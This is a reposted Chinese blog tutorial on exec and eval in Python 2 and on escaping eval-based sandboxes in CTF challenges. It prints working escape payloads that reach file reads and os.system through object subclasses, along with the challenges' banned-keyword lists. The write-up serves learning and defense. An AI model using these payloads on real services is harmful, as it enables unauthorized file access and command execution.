Python 沙箱逃逸

来源:http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
-Advertisement-
Play Games

Python 沙箱逃逸是通過 eval 的安全問題來實現的一種 PWN 方法。 ...


[TOC]
(基於 Python 2.7)
在解決 Python 沙箱逃逸這個問題之前,需要先瞭解 Python 中的一些語法細節。如果已經瞭解了eval函數的使用方法,就可以跳過第一和第二部分,直接看 3x00 吧。

0x00 表達式的執行

用執行某個表達式的內容,可以使用 execeval 來進行。

0x01 exec

https://docs.python.org/2.0/ref/exec.html

exec_stmt:    "exec" expression ["in" expression ["," expression]]

其中,["in" expression ["," expression]]是可選表達式。

1,對代碼/字元串進行操作

exec "x = 1+1"
print x
#result:
#2
exec "x = 'a' + '42'"
print x
#result:
#a42

也可以執行多行代碼,用三個引號括起來就可以:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a

2,文件操作

execfile

一方面可以使用 execfile,它的作用是執行這個文件的內容

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')

pytest.py的輸出結果為:

Gou Li Guo Jia Sheng Si Yi

execfile執行了pytest.txt里的內容,註意是執行而非讀取,如果pytest.txt中的內容是'Gou Li Guo Jia Sheng Si Yi',那麼將不會得到任何輸出。
當然,執行一個 .py 文件也是可以的。而執行 .txt 文件的要求是,txt 文件中的內容是 ASCII 。最好還是執行一個 .py 文件而非 txt 文件。

這種執行其實是將 execfile 所指向的文件的內容直接 copy 過去。
例如:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里說豐年,聽取蛤聲一片'
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a

此時,pytest 的結果為:

稻花香里說豐年,聽取蛤聲一片
2

其實就是完全地執行一遍文件里的內容……而不是當做函數調用來執行。

直接使用 exec 進行操作

直接使用 exec ,也是執行文件的內容,但是可以使用 in 表達式來使用 Global 變數域。

#C:\Users\Think\Desktop\test1.txt
print poetry
#pytest.py
result={'poetry':'苟利國家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result

3,tuple 的使用

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

輸出結果為

111

exec 的 globals / locals 參數的使用方法

exec支持兩個可選參數,不支持關鍵字指定參數。
Python 採用的是靜態作用域(詞法作用域)規則,類似於 C++,在該函數內該變數可用,在函數外不可用。
在 Pascal 語言中,採用的是動態作用域,也就是說,一旦函數被執行,該變數就會存在。例如,在函數 g 當中套了個函數 f,程式執行到f時,會在f中尋找表達式中的變數,如果找不到,就往外層找,此時g中若存在這個變數,則使用該變數,若不存在,繼續向外逐層查找。
需要註意的是, exec是語法聲明(statement),而非函數(function),而execfile 是函數
原因如下:
exec中直接列印外部變數:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#結果為 456

在函數中列印外部變數:

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#結果:
#NameError: global name 'tup' is not defined

LEGB 規則

參照:https://segmentfault.com/a/1190000000640834

exec 中的 globals 參數

exec_stmt:    "exec" expression ["in" expression ["," expression]]

globalsdict 對象,它指定了 exec 中需要的全局變數。

  • globlas等價於globals()
  • locals等價於globals參數的值

1,globals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#結果:
#43 42

在段代碼中,exec中的值是locals,它來源於指定的k,即globals.
並且,globals 取於全局變數,作用於全局變數

2,locals

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#結果:
#101

比較:

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#結果:
#101

可以看到,相對於exec來說,其內部具有三個變數,即 age,b,a
在制定之後,b 來自 g (global),而 a 來自自定的 local 變數。
由此可見,local 取於局部變數,作用於局部變數
為了驗證這一結論,對稍加修改:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#結果:
#101
# print g['a']
#KeyError: 'a'

可以看到,a並沒有作用於字典 g(全局的),而上面第一小節提到的globals中,鍵值a已經填入了全局的字典g.

exec 使用結論

可以做出以下結論
我們將exec之後包括的內容分為三個部分:p1、p2、p3

exec ("""p1""",p2,p3)
  1. 第一部分 p1,其中的內容是,就是要執行的內容;

  2. 第二部分p2,其中的內容來自全局變數,會在上一個變數作用域當中尋找對應的值,並將其傳遞給表達式,如果不存在p3p1中的結果會傳回全局變數;
  3. 第三部分p3,其中的內容是局部的,將用戶在其中自設的局部值傳遞給p1,並且在局部中生效,如果在外部引用此處用到的值將會報錯。

exec 反彙編

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)
# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE        
#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)
#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE        

指令解釋在這裡:https://docs.python.org/2/library/dis.html#python-bytecode-instructions
簡要說明下,TOStop-of-stack,就是棧頂。
LOAD_CONST是入棧,RETURN_VALUE 是還原esp
其中兩者的不同之處在於:

# use `exec` disassembly
6 DUP_TOP             #複製棧頂指針
7 EXEC_STMT     #執行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

也就是說,def函數是將變數入棧,然後調用時就出棧返回;而使用了exec之後,除了正常的入棧流程外,程式還會將棧頂指針複製一遍,然後開始執行exec的內容。

0x02 eval

eval用以動態執行其後的代碼,並返回執行後得到的值。

eval(expression[, globals[, locals]])

eval也有兩個可選參數,即 globalslocals
使用如下:

print eval("1+1")
#result:
#2

eval 的 globals / locals 參數的使用方法

1,globals
類似於 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2

2,locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44

eval反彙編

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)
#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE      

比較:

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)
#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE        

同樣是建棧之後執行。

1x00 exec 和 eval 的區別

exec無返回值:

exec ("print 1+1")
#result:
#2

如果改成

print exec("1+1")

這就會因為沒有返回值(不存在該變數而報錯)。
eval 是有返回值的:

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax

如果想要列印,則必須在 eval之前使用print
但是奇怪的是,為什麼 exec 反彙編出的內容當中,也會有一個RETURN_VALUE 呢?

1x01確定RETURN_VALUE來源

為了確定這個RETURN_VALUE究竟是受到哪一部分的影響,可以改動一下之前的代碼,

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)
3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE        

對比eval的:

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)
  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE        

對比 evalexec之後,會發現exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是複製 TOS,後者是推出TOS
在 C++ 反彙編當中,會發現對函數調用的最後會有 POP ebp,這是函數執行完之後的特征。在 Python 中,eval就是一種函數,exec是表達式。這也解釋了之前說的eval有返回值而exec無返回值的原因。
而最後的 RETURN_VALUE,很明顯可以看出並非evalexec的影響,而是 Python 中每一個程式執行完之後的正常返回(如同 C++ 中的 return 0)。
可以寫段不包含這兩者的代碼來驗證:

import dis
def no():
    a = 1+1

dis.dis(no)
  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE       

所以,RETURN_VALUE是每個程式正常運行時就有的。

2x00 eval 的危險性

2x01 先期知識

在 Python 當中, import可以將一個 Python 內置模塊導入,__import__可以接受字元串作為參數。
調用 os.system(),就可以執行系統命令。在 Windows下,可以這麼寫:

>>> __import__('os').system('dir')

或者:

>>> import os
>>> os.system('dir')

也可以達到這個目的。
這兩種方法會使得系統執行dir,即文件列出命令,列出文件後,讀取其中某個文件的內容,可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s

如果有一個功能,設計為執行用戶所輸入的內容,如

print eval("input()")

此時用戶輸入1+1,那麼會得到返回值 2。若前述的

os.system('dir')

則會直接列出用戶目錄。
但是,從之前學過的可以看到,如果為eval指定一個空的全局變數,那麼eval就無法從外部得到 os.system模塊,這會導致報錯。
然而,可以自己導入這個模塊嘛。

__import__('os').system('dir')

這樣就可以繼續顯示文件了。
如果要避免這一招,可以限定使用指定的內建函數__builtins__,這將會使得在第一個表達式當中只能採用該模塊中的內建函數名稱才是合法的,包括:

>>> dir('__builtins__')
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

這樣,就可以寫成:

eval("input()",{'__builtins__':{}})

就可以限制其只能使用內置的函數。
同時也可以將內置模塊置為None,如:

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)

但是這種情況下__builtions____buitin__的引用依然有效。


s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().__class__.__bases__[0].__subclasses__() 
            if c.__name__ == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'__builtins__':{}})

(來自:https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
為了創建一個object,要通過

().__class__.__bases__[0]

bases類當中的第一個 元素就是元組(tuple),而tuple就是一個object.

lambda這一段主要是構造出一個函數,這個函數要跑完 subclasses來尋找一個object
這是一種情形。總的來說,就是跑一個通過object假的bytecodes.

從上述情況來看,eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一題

這是一道 CTF 題目,只給了這個:

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              '__import__',
              'eval',
              'input']
    for func in UNSAFE:
        del __builtins__.__dict__[func]

from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

make_secure這個模塊很好理解,看看下邊的:

from re import findall

這是 Python 正則表達式的模塊。而re.findall可以尋找指定的字元串。
把這一部分單獨抽離出來嘗試一下:

from re import findall

inp = findall('\S+',raw_input())[0]
a = None
exec 'a = ' +inp
print 'Return Value:',a

運行後輸入 1+1,返回結果為2.
構造
之前已經說過可以利用

().__class__.__bases__[0].__subclasses__()

在該題中,主辦方搞了個在伺服器上的文件,裡邊有 key,而[40] 是文件,直接就可以了。

().__class__.__bases__[0].__subclasses__()[40]("./key").read()

第二題

#!/usr/bin/env python 
from __future__ import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')

4x00 blue-lotus MISC - pyjail Writeup

給了這個:

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = ['open',
    'file',
    'execfile',
    'compile',
    'reload',
    '__import__',
    'eval',
    'input'] ## block objet?
    for func in UNSAFE_BUILTINS:
        del __builtins__.__dict__[func]

from re import findall
del_unsafe()

print 'Give me your command!'
while True:
    try:
        inp = findall('\S+', raw_input())[0]
        print "inp=", inp
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
        print 'Exception:', e

比較一下和上邊的第一題有什麼不同,答案是……並沒有什麼不同……
掃了一下埠,發現貌似根本沒開……可能只是練習 =。 =


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 1 #include 2 using namespace std; 3 4 class Base 5 { 6 public: 7 Base() 8 { 9 cout << "base" << endl; 10 } //Base的構造函數 11 virtual ~Base() //Base的析構函數 ... ...
  • 雙向冒泡排序簡單地說就是從左向右的遍歷尋最大,從右向左尋最小的過程。正常情況下,雙向冒泡排序會比普通冒泡排序快。因為代碼比較簡單就不多說了,直接上代碼。 ...
  • import java.io.IOException;import java.io.PrintWriter;import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.s ...
  • 20170314問題解析請點擊今日問題下方的“【Java每日一題】20170315”查看(問題解析在公眾號首發,公眾號ID:weknow619) 今日問題: 請問主程式運行結果是什麼?(點擊以下“【Java每日一題】20170315”查看20170314問題解析) 題目原發佈於公眾號、簡書:【Jav ...
  • 最近,"大前端"這個詞被頻繁提及,很多團隊也在重新思考"大前端團隊"和"移動團隊+前端團隊"這兩種模式的優劣。而在大家還在熱火朝天地討論概念的時候,餓了麽大前端團隊已經茁壯成長,有了很多先人一步的實踐了。InfoQ 特別邀請了餓了麽大前端部門負責人林建鋒,請他結合餓了麽大前端團隊的實踐,向大家分享如 ...
  • 欄目數組:$arr=Array( Array('cid' => 2,'cname' => '新聞','pid' => 0), Array('cid' => 4,'cname' =>'體育','pid' => 0), Array('cid' => 5,'cname' => '娛樂','pid' => ...
  • 其實就是卡特蘭數的定義。。。 將放置一個1視為(1,1),放置一個0視為(1,-1) 則答案就是從(0,0)出發到(n+m,n-m)且不經過y=-1的方案數。 從(0,0)出發到(n+m,n-m)的總方案數是C(n+m,n)。 若一條路徑經過y=-1,那麼將其從(0,0)到y=-1的一段路徑以y=- ...
  • 用類歐不斷縮小規模,就能在O(T*log2n)時間內求出答案。 題解:http://blog.csdn.net/coldef/article/details/62035919 代碼: 1 #include<cstdio> 2 #include<cstring> 3 #include<iostream ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...